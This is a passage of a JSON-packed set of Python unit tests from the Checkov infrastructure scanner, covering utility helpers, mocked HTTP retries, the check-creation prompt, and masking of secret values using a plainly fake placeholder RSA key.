    "content": "import os\n\nfrom checkov.common.util.contextmanagers import temp_environ\n\n\ndef test_temp_environ():\n    # given\n    assert os.getenv(\"EXAMPLE_ENV_VAR\") is None\n\n    # when/then\n    with temp_environ(EXAMPLE_ENV_VAR=\"example\"):\n        assert os.getenv(\"EXAMPLE_ENV_VAR\") == \"example\"\n\n    assert os.getenv(\"EXAMPLE_ENV_VAR\") is None\n\n\ndef test_temp_environ_existing_env():\n    # given\n    os.environ[\"EXAMPLE_ENV_VAR\"] = \"example\"\n\n    # when/then\n    with temp_environ(EXAMPLE_ENV_VAR=\"override_example\"):\n        assert os.getenv(\"EXAMPLE_ENV_VAR\") == \"override_example\"\n\n    assert os.environ[\"EXAMPLE_ENV_VAR\"] == \"example\"\n    del os.environ[\"EXAMPLE_ENV_VAR\"]  # cleanup\n"
  },
  {
    "path": "tests/common/utils/test_data_structures_utils.py",
    "content": "from typing import Any\n\nimport pytest\n\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\n@pytest.mark.parametrize(\n    \"key_path,expected_value\",\n    [\n        (\"key_99\", None),\n        (\"key_1/key_2/key_3\", None),\n        (\"key_1/key_2/[10]/key_3\", None),\n        (\"key_1/key_5\", \"string\"),\n        (\"key_1/key_2/[0]/key_3\", 1),\n        (\"key_1/key_2/[1]/key_4\", True),\n    ],\n    ids=[\"key_not_exists\", \"nested_key_not_exists\", \"index_not_exists\", \"key\", \"index\", \"index_1\"],\n)\ndef test_find_in_dict(key_path: str, expected_value: Any) -> None:\n    input_dict = {\n        \"key_1\": {\n            \"key_2\": [\n                {\n                    \"key_3\": 1,\n                },\n                {\n                    \"key_4\": True,\n                },\n            ],\n            \"key_5\": \"string\",\n        }\n    }\n\n    # when\n    actual_value = find_in_dict(input_dict, key_path)\n\n    # then\n    assert actual_value == expected_value\n"
  },
  {
    "path": "tests/common/utils/test_docs_generator.py",
    "content": "import unittest\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.docs_generator import get_compare_key, get_check_link\n\n\nclass TestOutputSorting(unittest.TestCase):\n\n    def test_id_sorting_for_ckv_pattern(self):\n        # keep all other things the same so sorting is based on the id\n        check_ids = [\n            ['CKV_AWS_1', '', '', '', ''],\n            ['CKV_K8S_11', '', '', '', ''],\n            ['CKV_K8S_15', '', '', '', ''],\n            ['CKV_K8S_9', '', '', '', ''],\n            ['CKV_K8S_2', '', '', '', ''],\n            ['CKV2_K8S_2', '', '', '', ''],\n            ['CKV_AZURE_11', '', '', '', ''],\n            ['CKV_AZURE_32', '', '', '', ''],\n            ['CKV_GIT_1', '', '', '', ''],\n            ['CKV_AZURE_10', '', '', '', ''],\n            ['CKV2_AWS_1', '', '', '', ''],\n            ['CKV_AZURE_22', '', '', '', ''],\n            ['CKV_K8S_20', '', '', '', ''],\n            ['CKV_GCP_1', '', '', '', ''],\n            ['CKV_K8S_1', '', '', '', ''],\n            ['CKV_GCP_10', '', '', '', ''],\n            ['CKV_AZURE_12', '', '', '', ''],\n            ['CKV_K8S_10', '', '', '', ''],\n            ['CKV_AWS_20', '', '', '', ''],\n        ]\n        sorted_check_ids = sorted(check_ids, key=get_compare_key)\n        self.assertEqual(sorted_check_ids, [\n            ['CKV_AWS_1', '', '', '', ''],\n            ['CKV_AWS_20', '', '', '', ''],\n            ['CKV2_AWS_1', '', '', '', ''],\n            ['CKV_AZURE_10', '', '', '', ''],\n            ['CKV_AZURE_11', '', '', '', ''],\n            ['CKV_AZURE_12', '', '', '', ''],\n            ['CKV_AZURE_22', '', '', '', ''],\n            ['CKV_AZURE_32', '', '', '', ''],\n            ['CKV_GCP_1', '', '', '', ''],\n            ['CKV_GCP_10', '', '', '', ''],\n            ['CKV_GIT_1', '', '', '', ''],\n            ['CKV_K8S_1', '', '', '', ''],\n            ['CKV_K8S_2', '', '', '', ''],\n            ['CKV_K8S_9', '', '', '', ''],\n            ['CKV_K8S_10', '', '', '', ''],\n            ['CKV_K8S_11', '', '', '', ''],\n            ['CKV_K8S_15', '', '', '', ''],\n            ['CKV_K8S_20', '', '', '', ''],\n            ['CKV2_K8S_2', '', '', '', ''],\n        ])\n\n    def test_sorting_by_resource_id(self):\n        checks_list = [\n            ['CKV_AWS_1', '', 'aws_ebs_volume', '', ''],\n            ['CKV_AWS_1', '', 'AWS::EBS::Volume', '', ''],\n            ['CKV_AWS_1', '', 'AWS::S3::Bucket', '', ''],\n            ['CKV_AWS_1', '', 'aws_s3_bucket', '', '']\n        ]\n\n        sorted_list = sorted(checks_list, key=get_compare_key)\n\n        self.assertEqual(sorted_list[0], ['CKV_AWS_1', '', 'AWS::EBS::Volume', '', ''])\n        self.assertEqual(sorted_list[1], ['CKV_AWS_1', '', 'AWS::S3::Bucket', '', ''])\n        self.assertEqual(sorted_list[2], ['CKV_AWS_1', '', 'aws_ebs_volume', '', ''])\n        self.assertEqual(sorted_list[3], ['CKV_AWS_1', '', 'aws_s3_bucket', '', ''])\n\n\ndef test_get_check_link():\n    # given\n    abs_path = \"/path/to/checkov/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py\"\n\n    # when\n    link = get_check_link(absolute_path=abs_path)\n\n    # then\n    assert link == \"https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py\"\n\n\ndef test_get_check_link_for_markdown(mocker: MockerFixture):\n    # given\n    abs_path = \"/path/to/checkov/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py\"\n\n    mocker.patch(\"checkov.docs_generator.CREATE_MARKDOWN_HYPERLINKS\", return_value=True)\n\n    # when\n    link = get_check_link(absolute_path=abs_path)\n\n    # then\n    assert link == \"[LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py)\"\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/utils/test_file_utils.py",
    "content": "import os\n\nfrom checkov.common.util.file_utils import read_file_safe, get_file_size_safe\n\ndef test_sanity_read_file():\n    file_to_check = f\"{os.path.dirname(os.path.realpath(__file__))}/resources/existing_file\"\n    file_content = read_file_safe(file_to_check)\n    assert file_content == \"BLA\"\n\n\ndef test_failure_read_file():\n    file_to_check = f\"non_existing_file\"\n    file_content = read_file_safe(file_to_check)\n    assert file_content == \"\"\n\n\ndef test_sanity_get_file_size():\n    file_to_check = f\"{os.path.dirname(os.path.realpath(__file__))}/resources/existing_file\"\n    file_size = get_file_size_safe(file_to_check)\n    assert file_size == 3\n\n\ndef test_failure_get_file_size():\n    file_to_check = f\"non_existing_file\"\n    file_size = get_file_size_safe(file_to_check)\n    assert file_size == -1\n"
  },
  {
    "path": "tests/common/utils/test_http_utils.py",
    "content": "import os\nimport responses\nimport requests\nfrom unittest import mock\nimport pytest\nfrom pytest_mock import MockerFixture\nfrom aioresponses import aioresponses\nimport aiohttp\n\nfrom checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper, valid_url\n\n\ndef get_report_url() -> str:\n    base_url = \"https://www.bridgecrew.cloud/api/v1/vulnerabilities\"\n    return f\"{base_url}/results\"\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"5\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_all_fail_with_connection_error_for_get_scan_result(mock_bc_integration):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936\"\n    responses.add(\n        method=responses.GET,\n        url=mock_url,\n        body=requests.exceptions.ConnectionError()\n    )\n    try:\n        request_wrapper(\"GET\", mock_url, {})\n        assert False, \"\\'request_wrapper\\' is expected to fail in this scenario\"\n    except requests.exceptions.ConnectionError:\n        responses.assert_call_count(mock_url, 5)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"5\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_all_fail_with_connection_error_for_post_scan(mock_bc_integration):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/scan\"\n    responses.add(\n        method=responses.POST,\n        url=mock_url,\n        body=requests.exceptions.ConnectionError()\n    )\n    try:\n        request_wrapper(\"POST\", mock_url, {}, data={'mocked_key': 'mocked_value'})\n        assert False, \"\\'request_wrapper\\' is expected to fail in this scenario\"\n    except requests.exceptions.ConnectionError:\n        responses.assert_call_count(mock_url, 5)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"5\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_all_fail_with_http_error(mock_bc_integration):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/twistcli?os=linux\"\n    responses.add(\n        method=responses.GET,\n        url=mock_url,\n        json={'error': \"mocked client error\"},\n        status=403\n    )\n    request_wrapper(\"GET\", mock_url, {})\n    responses.assert_call_count(mock_url, 1)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"5\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_all_fail_with_http_error_should_call_raise_for_status(mock_bc_integration):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/twistcli?os=linux\"\n    responses.add(\n        method=responses.GET,\n        url=mock_url,\n        json={'error': \"mocked client error\"},\n        status=403\n    )\n    try:\n        request_wrapper(\"GET\", mock_url, {}, should_call_raise_for_status=True)\n        assert False, \"\\'request_wrapper\\' is expected to fail in this scenario\"\n    except requests.exceptions.HTTPError:\n        responses.assert_call_count(mock_url, 5)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_with_success_for_get_scan_result(mock_bc_integration, scan_result_success_response):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/scan-results/2e97f5afea42664309f492a1e2083b43479c2936\"\n    responses.add(\n        method=responses.GET,\n        url=mock_url,\n        json=scan_result_success_response,\n        status=200\n    )\n    request_wrapper(\"GET\", mock_url, {})\n    responses.assert_call_count(mock_url, 1)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_with_success_for_download_twistcli(mock_bc_integration):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/twistcli?os=linux\"\n    responses.add(\n        method=responses.GET,\n        url=mock_url,\n        json={},\n        status=200\n    )\n    request_wrapper(\"GET\", mock_url, {})\n    responses.assert_call_count(mock_url, 1)\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\ndef test_request_wrapper_with_success_for_post_scan(mock_bc_integration, scan_result_success_response):\n    # given\n    mock_url = mock_bc_integration.api_url + \"/api/v1/vulnerabilities/scan\"\n    responses.add(\n        method=responses.POST,\n        url=mock_url,\n        json=scan_result_success_response,\n        status=200\n    )\n    request_wrapper(\"POST\", mock_url, {}, data={'mocked_key': 'mocked_value'})\n    responses.assert_call_count(mock_url, 1)\n\n\n@pytest.mark.asyncio\nasync def test_aiohttp_client_session_wrapper_with_one_handled_exception(mocker: MockerFixture, mock_bc_integration):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\", \"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, exception=aiohttp.ClientOSError())\n        m.post(report_url, status=200, repeat=True)\n\n        response = await aiohttp_client_session_wrapper(\"POST\", get_report_url(), {}, {})\n\n    # then\n    assert response.ok\n\n\n@pytest.mark.asyncio\nasync def test_aiohttp_client_session_wrapper_with_several_handled_exceptions(mocker: MockerFixture, mock_bc_integration):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\", \"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, exception=aiohttp.ClientOSError(), repeat=True)\n        try:\n            await aiohttp_client_session_wrapper(\"POST\", get_report_url(), {}, {})\n\n            # case the specific error wasn't raised\n            assert False\n\n        except aiohttp.ClientOSError:\n            # case the specific error was raised\n            assert True\n\n\n@pytest.mark.asyncio\nasync def test_raiohttp_client_session_wrapper_with_one_not_handled_exception(mocker: MockerFixture, mock_bc_integration):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\", \"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, exception=aiohttp.ServerTimeoutError())\n        try:\n            await aiohttp_client_session_wrapper(\"POST\", get_report_url(), {}, {})\n            # case that specific error wasn't raised\n            assert False\n\n        except aiohttp.ServerTimeoutError:\n            # case the specific error was raised\n            assert True\n\n\n@pytest.mark.parametrize(\n    \"input,expected\",\n    [\n        (None, False),\n        (\"\", False),\n        (\"/path/to\", False),\n        (\"some random text\", False),\n        (\"https://www.checkov.io\", True),\n        (\"https://docs.bridgecrew.io/docs/bc_aws_iam_45\", True),\n    ],\n    ids=[\"None\", \"empty\", \"local path\", \"text\", \"url\", \"url with subdirectory\"],\n)\ndef test_valid_url(input, expected):\n    assert valid_url(input) == expected"
  },
  {
    "path": "tests/common/utils/test_json_utils.py",
    "content": "import json\nfrom datetime import datetime\nfrom typing import Dict, Any\n\nimport pytest\nfrom lark import Tree\n\nfrom checkov.common.util.json_utils import CustomJSONEncoder\n\n\n@pytest.mark.parametrize(\n    \"input_dict\",\n    [\n        pytest.param({\"key\": {\"v\", \"val\", \"value\"}}, id=\"set\"),\n        pytest.param({\"key\": datetime.now()}, id=\"date\"),\n        pytest.param({\"key\": Tree(\"data\", [\"child_1\", \"child_2\"])}, id=\"lark_tree\"),\n        pytest.param({\"key\": lambda x: x}, id=\"function\"),\n        pytest.param({(\"key\", \"key2\"): \"value\"}, id=\"tuple_key\"),\n    ],\n)\ndef test_custom_json_encoder(input_dict: Dict[str, Any]):\n    # when\n    result = json.dumps(input_dict, cls=CustomJSONEncoder)\n\n    # then\n    # this assertion should never fail, but json.dumps() could\n    assert isinstance(result, str)\n"
  },
  {
    "path": "tests/common/utils/test_prompt.py",
    "content": "from pathlib import Path\nfrom unittest import mock\nfrom unittest.mock import MagicMock\n\nimport click\nimport pytest\nfrom _pytest.capture import CaptureFixture\nfrom checkov.common.util import prompt\n\n\n@pytest.fixture(autouse=True)\ndef checkov_root_mock(tmp_path: Path):\n    with mock.patch(\"checkov.common.util.prompt.CHECKOV_ROOT_DIRECTORY\", str(tmp_path / \"checkov\")):\n        yield\n\n\ndef test_prompt_terraform_aws_resource(capsys: CaptureFixture[str]):\n    test_name = \"AWSTestPromptUnitTest\"\n    choices = [\n        \"add\",\n        f\"{test_name}\",\n        \"iam\",\n        \"Tests for the AWS Prompt Unit Test\",\n        \"terraform\",\n        \"aws\",\n        \"resource\",\n        \"aws_iam_policy\",\n    ]\n\n    mock_click = click\n    mock_click.prompt = MagicMock(name=\"prompt\", side_effect=choices)\n    resp = prompt.Prompt()\n    check = prompt.Check(resp.responses)\n    check.action()\n\n    captured = capsys.readouterr()\n\n    expected = [\n        f\"Creating Check {test_name}.py\",\n        f\"Creating Unit Test Stubs for {test_name}\",\n        \"Successfully created\",\n        f\"checkov/terraform/checks/resource/aws/{test_name}.py\",\n        \"Next steps:\",\n    ]\n\n    for exp in expected:\n        assert exp in captured.out\n\n\ndef test_prompt_terraform_azure_resource(capsys: CaptureFixture[str]):\n    test_name = \"AzureTestPromptUnitTest\"\n    choices = [\n        \"add\",\n        f\"{test_name}\",\n        \"iam\",\n        \"Tests for the Azure Prompt Unit Test\",\n        \"terraform\",\n        \"azure\",\n        \"resource\",\n        \"azurerm_policy_definition\",\n    ]\n\n    mock_click = click\n    mock_click.prompt = MagicMock(name=\"prompt\", side_effect=choices)\n    resp = prompt.Prompt()\n    check = prompt.Check(resp.responses)\n    check.action()\n\n    captured = capsys.readouterr()\n\n    expected = [\n        f\"Creating Check {test_name}.py\",\n        f\"Creating Unit Test Stubs for {test_name}\",\n        \"Successfully created\",\n        f\"checkov/terraform/checks/resource/azure/{test_name}.py\",\n        \"Next steps:\",\n    ]\n\n    for exp in expected:\n        assert exp in captured.out\n\n\ndef test_prompt_terraform_gcp_resource(capsys: CaptureFixture[str]):\n    test_name = \"GCPTestPromptUnitTest\"\n    choices = [\n        \"add\",\n        f\"{test_name}\",\n        \"iam\",\n        \"Tests for the GCP Prompt Unit Test\",\n        \"terraform\",\n        \"gcp\",\n        \"resource\",\n        \"google_project_iam_policy\",\n    ]\n\n    mock_click = click\n    mock_click.prompt = MagicMock(name=\"prompt\", side_effect=choices)\n    resp = prompt.Prompt()\n    check = prompt.Check(resp.responses)\n    check.action()\n\n    captured = capsys.readouterr()\n\n    expected = [\n        f\"Creating Check {test_name}.py\",\n        f\"Creating Unit Test Stubs for {test_name}\",\n        \"Successfully created\",\n        f\"checkov/terraform/checks/resource/gcp/{test_name}.py\",\n        \"Next steps:\",\n    ]\n\n    for exp in expected:\n        assert exp in captured.out\n"
  },
  {
    "path": "tests/common/utils/test_secrets_utils.py",
    "content": "import os\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.util.secrets import omit_secret_value_from_checks, omit_secret_value_from_graph_checks\nfrom checkov.common.graph.checks_infra.base_check import BaseGraphCheck\nfrom checkov.main import Checkov\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.provider.aws.credentials import AWSCredentials\nfrom checkov.terraform.checks.resource.azure.SecretExpirationDate import SecretExpirationDate\n\n\ndef test_omit_secret_value_from_checks_by_attribute(\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        tfplan_resource_lines_without_secrets\n):\n    check = SecretExpirationDate()\n    check.entity_type = 'azurerm_key_vault_secret'\n    check_result = {'result': CheckResult.FAILED}\n    resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}}\n\n    assert omit_secret_value_from_checks(\n        check,\n        check_result,\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        resource_attributes_to_omit\n    ) == tfplan_resource_lines_without_secrets\n\n\ndef test_omit_secret_value_from_checks_by_secret(\n        aws_provider_lines_with_secrets,\n        aws_provider_config_with_secrets,\n        aws_provider_lines_without_secrets\n):\n    check = AWSCredentials()\n    check_result = {'result': CheckResult.FAILED}\n\n    assert omit_secret_value_from_checks(\n        check,\n        check_result,\n        aws_provider_lines_with_secrets,\n        aws_provider_config_with_secrets\n    ) == aws_provider_lines_without_secrets\n\n\ndef test_omit_secret_value_from_checks_by_secret_2():\n    entity_lines_with_secrets = [\n        (93, '          \"values\": {\\n'),\n        (94, '            \"content_type\": null,\\n'),\n        (95, '            \"expiration_date\": null,\\n'),\n        (96, '            \"key_vault_id\": \"/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault\",\\n'),\n        (97, '            \"name\": \"my-key-vault\",\\n'),\n        (98, '            \"not_before_date\": null,\\n'),\n        (99, '            \"tags\": null,\\n'),\n        (100, '            \"timeouts\": null,\\n'),\n        (101, '            \"value\": \"-----BEGIN RSA PRIVATE KEY-----\\\\nMOCKKEYmer0YcjoLJVs4VvyLaigj7ygbpplVefQFHXseE7Lx0S2YBA6cg5SHoe4huMCsLwqyHJane2aseEq6oreSUG4Fzk3XpZSJ8fhNTdH2XHjCiK2LmAMHLV34adw2DEVKESa3PTf86EPIXu77qOH5HMl9tCXl9e1xf3wluaecOjdamK9HcNv8l0R58tTIuHpK+HiT69EHUjn7Igv904vPoTSl3f0Ut+xYTWOBBQJRG9YI7fHLJTL5ki1Hbb6Kl/6rsFur3P32kHQqFtDb9l7AQ/J68ws6MNfi+n5EylyRMgWkDRaryDPfRp9Aoe82Fo0pZDarEmphE58+FTKw5eC6qh3\\\\n-----END RSA PRIVATE KEY-----\\\\n\"\\n')\n    ]\n    entity_config_with_secrets = {\n        'content_type': [None],\n        'expiration_date': [None],\n        'key_vault_id': ['/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault'],\n        'name': ['my-key-vault'], 'not_before_date': [None], 'tags': [None], 'timeouts': [None],\n        'value': ['-----BEGIN RSA PRIVATE KEY-----\\nMOCKKEYmer0YcjoLJVs4VvyLaigj7ygbpplVefQFHXseE7Lx0S2YBA6cg5SHoe4huMCsLwqyHJane2aseEq6oreSUG4Fzk3XpZSJ8fhNTdH2XHjCiK2LmAMHLV34adw2DEVKESa3PTf86EPIXu77qOH5HMl9tCXl9e1xf3wluaecOjdamK9HcNv8l0R58tTIuHpK+HiT69EHUjn7Igv904vPoTSl3f0Ut+xYTWOBBQJRG9YI7fHLJTL5ki1Hbb6Kl/6rsFur3P32kHQqFtDb9l7AQ/J68ws6MNfi+n5EylyRMgWkDRaryDPfRp9Aoe82Fo0pZDarEmphE58+FTKw5eC6qh3\\n-----END RSA PRIVATE KEY-----\\n'],\n        '__startline__': [93], '__endline__': [102], 'start_line': [92], 'end_line': [101],\n        'references_': ['tls_private_key.ssh.private_key_pem', 'tls_private_key.ssh'],\n        '__address__': 'azurerm_key_vault_secret.akv_009_pass_01', '__change_actions__': ['create']}\n    check = SecretExpirationDate()\n    check.entity_type = 'azurerm_key_vault_secret'\n    check_result = {'result': CheckResult.FAILED}\n\n    entity_lines_without_secrets = [\n        (93, '          \"values\": {\\n'),\n        (94, '            \"content_type\": null,\\n'),\n        (95, '            \"expiration_date\": null,\\n'),\n        (96, '            \"key_vault_id\": \"/subscriptions/my-subscription/resourceGroups/my-rg/providers/Microsoft.KeyVault/vaults/my-vault\",\\n'),\n        (97, '            \"name\": \"my-key-vault\",\\n'),\n        (98, '            \"not_before_date\": null,\\n'),\n        (99, '            \"tags\": null,\\n'),\n        (100, '            \"timeouts\": null,\\n'),\n        (101, '            \"value\": \"-----**********--\\\\n\"\\n')\n    ]\n    resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}}\n\n    result = omit_secret_value_from_checks(\n        check,\n        check_result,\n        entity_lines_with_secrets,\n        entity_config_with_secrets,\n        resource_attributes_to_omit\n    )\n\n    assert result == entity_lines_without_secrets\n\n\ndef test_omit_secret_value_from_graph_checks_by_attribute(\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        tfplan_resource_lines_without_secrets\n):\n    check = BaseGraphCheck()\n    check.resource_types = ['azurerm_key_vault_secret']\n    check_result = {'result': CheckResult.FAILED}\n    resource_attributes_to_omit = {'azurerm_key_vault_secret': {'value'}}\n\n    result = omit_secret_value_from_graph_checks(\n        check,\n        check_result,\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        resource_attributes_to_omit\n    )\n\n    assert result == tfplan_resource_lines_without_secrets\n\n\ndef test_omit_secret_value_from_graph_checks_by_attribute_skip_non_string():\n    # given\n    check = BaseGraphCheck()\n    check.resource_types = ['aws_ssm_parameter']\n    check_result = {'result': CheckResult.FAILED}\n    entity_code_lines = [\n        (22, 'resource \"aws_ssm_parameter\" \"aws_ssm_parameter_foo\" {\\n'),\n        (23, '  name        = \"foo\"\\n'),\n        (24, '  description = \"Parameter foo\"\\n'),\n        (25, '  type        = \"String\"\\n'),\n        (26, '  tier        = \"Advanced\"\\n'),\n        (27, \"  value = jsonencode({\\n\"),\n        (28, '    \"foo\" : {\\n'),\n        (29, '      \"hello\" : \"world\",\\n'),\n        (30, '      \"answer \" : 42\\n'),\n        (31, \"     }\\n\"),\n        (32, \"  })\\n\"),\n        (33, \"}\\n\"),\n    ]\n    entity_config = {\n        \"__address__\": \"aws_ssm_parameter.aws_ssm_parameter_foo\",\n        \"__end_line__\": 33,\n        \"__start_line__\": 22,\n        \"description\": [\"Parameter foo\"],\n        \"name\": [\"foo\"],\n        \"tier\": [\"Advanced\"],\n        \"type\": [\"String\"],\n        \"value\": [\n            {\n                \"foo\": {\n                    \"answer \": 42,\n                    \"hello\": \"world\",\n                }\n            }\n        ],\n    }\n    resource_attributes_to_omit = {'aws_ssm_parameter': {'value'}}\n\n    # when\n    result = omit_secret_value_from_graph_checks(\n        check=check,\n        check_result=check_result,\n        entity_code_lines=entity_code_lines,\n        entity_config=entity_config,\n        resource_attributes_to_omit=resource_attributes_to_omit\n    )\n\n    # then\n    assert result == [\n        (22, 'resource \"aws_ssm_parameter\" \"aws_ssm_parameter_foo\" {\\n'),\n        (23, '  name        = \"foo\"\\n'),\n        (24, '  description = \"Parameter foo\"\\n'),\n        (25, '  type        = \"String\"\\n'),\n        (26, '  tier        = \"Advanced\"\\n'),\n        (27, \"  value = jsonencode({\\n\"),\n        (28, '    \"foo\" : {\\n'),\n        (29, '      \"hello\" : \"world\",\\n'),\n        (30, '      \"answer \" : 42\\n'),\n        (31, \"     }\\n\"),\n        (32, \"  })\\n\"),\n        (33, \"}\\n\"),\n    ]\n\n\ndef test_omit_secret_value_from_checks_by_attribute_runner_filter_resource_config(\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        tfplan_resource_lines_without_secrets\n):\n    argv = [\n        \"--config-file\",\n        f\"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/real_keys.yml\"\n    ]\n    ckv = Checkov(argv=argv)\n    runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n    check = SecretExpirationDate()\n    check.entity_type = 'azurerm_key_vault_secret'\n    check_result = {'result': CheckResult.FAILED}\n\n    assert omit_secret_value_from_checks(\n        check,\n        check_result,\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets\n\n\n# ToDo: Uncomment if we want to support universal masking\n# def test_omit_secret_value_from_checks_by_attribute_runner_filter_universal_config(\n#         tfplan_resource_lines_with_secrets,\n#         tfplan_resource_config_with_secrets,\n#         tfplan_resource_lines_without_secrets\n# ):\n#     argv = [\n#         \"--config-file\",\n#         f\"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/universal_key.yml\"\n#     ]\n#     ckv = Checkov(argv=argv)\n#     runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n#     check = SecretExpirationDate()\n#     check.entity_type = 'azurerm_key_vault_secret'\n#     check_result = {'result': CheckResult.FAILED}\n#\n#     assert omit_secret_value_from_checks(\n#         check,\n#         check_result,\n#         tfplan_resource_lines_with_secrets,\n#         tfplan_resource_config_with_secrets,\n#         runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets\n\ndef test_omit_secret_value_from_checks_by_attribute_runner_filter_duplicated_config(\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        tfplan_resource_lines_without_secrets\n):\n    argv = [\n        \"--config-file\",\n        f\"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/duplicated_key.yml\"\n    ]\n    ckv = Checkov(argv=argv)\n    runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n    check = SecretExpirationDate()\n    check.entity_type = 'azurerm_key_vault_secret'\n    check_result = {'result': CheckResult.FAILED}\n    assert omit_secret_value_from_checks(\n        check,\n        check_result,\n        tfplan_resource_lines_with_secrets,\n        tfplan_resource_config_with_secrets,\n        runner_filter.resource_attr_to_omit) == tfplan_resource_lines_without_secrets\n\n\n# ToDo: Uncomment if we want to support universal masking\n# def test_omit_secret_value_from_checks_by_attribute_runner_filter_multiple_keys(\n#         tfplan_resource_lines_with_secrets,\n#         tfplan_resource_config_with_secrets,\n#         tfplan_resource_lines_without_secrets_multiple_keys\n# ):\n#\n#     argv = [\n#         \"--config-file\",\n#         f\"{os.path.dirname(os.path.realpath(__file__))}/../resource_attr_to_omit_configs/multiple_keys.yml\"\n#     ]\n#     ckv = Checkov(argv=argv)\n#     runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n#\n#     check = SecretExpirationDate()\n#     check.entity_type = 'azurerm_key_vault_secret'\n#     check_result = {'result': CheckResult.FAILED}\n#\n#     assert omit_secret_value_from_checks(\n#         check,\n#         check_result,\n#         tfplan_resource_lines_with_secrets,\n#         tfplan_resource_config_with_secrets,\n#         runner_filter.resource_attr_to_omit\n#     ) == tfplan_resource_lines_without_secrets_multiple_keys\n"
  },
  {
    "path": "tests/common/utils/test_str_utils.py",
